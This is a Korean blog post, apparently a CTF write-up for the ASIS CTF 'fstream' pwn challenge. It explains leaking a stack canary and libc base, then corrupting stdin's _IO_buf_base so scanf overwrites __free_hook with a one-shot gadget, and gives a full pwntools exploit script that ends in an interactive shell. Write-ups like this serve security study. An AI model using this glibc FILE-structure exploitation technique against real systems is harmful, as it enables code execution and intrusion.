hOwDayS 선린 10720
ASISCTF FCascasde 본문
소개
대회기간때 Leak만하고 익스하는 법을 몰라
몇시간 동안 잡다가 롸업보고 풀었는데
새로운 기법을 터득했다
( __IO_2_1_stdin_)
보호 기법
RELRO | FULL RELRO |
Stack Canary | Canary Found |
NX | NX enabled |
PIE | NO PIE |
분석
바이너리 그대로 보면
ccloud() -> 익스
leak() -> 릭
Leak
1. leak()함수에 들어감
2. libc릭 할 수 있을 만큼 채운다
( ret뒤에 바로 있다 )
{ 카나리는 무시한다(익스 할때 필요 없음) }
Exploit
ccloud()에 들어감
여기서 는 계속 malloc , free 가 되서
힙익스도 할 수가 없다
*((byte *)buf + size -1)
를 한다
예를들어 0x7ffff7dd1918 를 덮고싶을때
buf = 0
- (0x1000000000000000 - (0x7ffff7dd1918 +1))
= -0xfffff8000022e6e7
C 에서 -1은 0xffffffffffffffff
0xffffffffffffffff - 0xfffff8000022e6e7 = 0x7ffff7dd1918
0x7ffff7dd1918 주소에 0 이 들어간다
scanf는 _IO_buf_base 가 잇는 곳에 문자열을 저장한다
마지막 63을 널로 바꾸고
scanf로 _IO_buf_base를 __free_hook으로 바꾼다음
다시 scanf로 oneshot_gadget으로 덮어주면 되겠다..
라고 생각 했는데
실패하길래 봤더니
tmpnam_buffer있는 곳에 원샷가젯이 있었다
__free_hook 이랑 tmpnam_buffer이랑 168차이가 나서
널로 168만큼 채워준 뒤에 원샷가젯으로 덮어 주면 되겠다.
Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | from pwn import * #p = remote("178.62.40.102",6002) p = process("./fstream") e = ELF("./fstream") ## CANARY LEAK ## p.recv() p.send("11010110") p.recv() canary_payload = "A" * (0x90 - 0x8 + 1) p.send(canary_payload) p.recvuntil(canary_payload) canary = u64("\x00" + p.recv(7)) log.success("CANARY : " + hex(canary)) ## LIBC_BASE LEAK ## p.recv() libc_payload = "A" * (0x90 - 0x8) + "AAAAAAAA" + "AAAAAAAA" p.send(libc_payload) p.recvuntil(libc_payload) #print hexdump(p.recv(12)) libc_base = u64(p.recv(6) + "\x00\x00") - 0x20830 #__libc_start_main + 240 #print hexdump(p64(libc_base)) log.success("LIBC_BASE : " + hex(libc_base)) p.send("11111111") ## EXPLOIT ## p.send("10110101") # fill Last byte of Write base with null fill_payload = -(0x10000000000000000 - (libc_base + 0x3c4919)) p.recv() p.sendline(str(fill_payload)) # fill buf_base with __free_hook hook_payload = p64(libc_base + 0x3c67a8) * 4 + p64(libc_base + 0x3c67a8 + 0x10) + p64(0) p.recv() p.send(hook_payload) # fill __free_hook with oneshot_gadget payload = "\x00" * 168 + p64(libc_base + 0x4526a) p.sendline("hOwDayS") p.sendline(payload) p.recv() ## SHELL ## p.interactive() | cs |
'CTF' 카테고리의 다른 글
선린인터넷고등학교 교내해킹방어대회 2018 cee (0) | 2018.06.11 |
---|---|
선린인터넷고등학교 교내해킹방어대회 2018 SHELLCODING (0) | 2018.06.07 |
ASISCTF CAT (0) | 2018.05.05 |
TRUTHEALTH SoHard (0) | 2018.03.10 |
TRSUTCTF sysrop (0) | 2018.03.08 |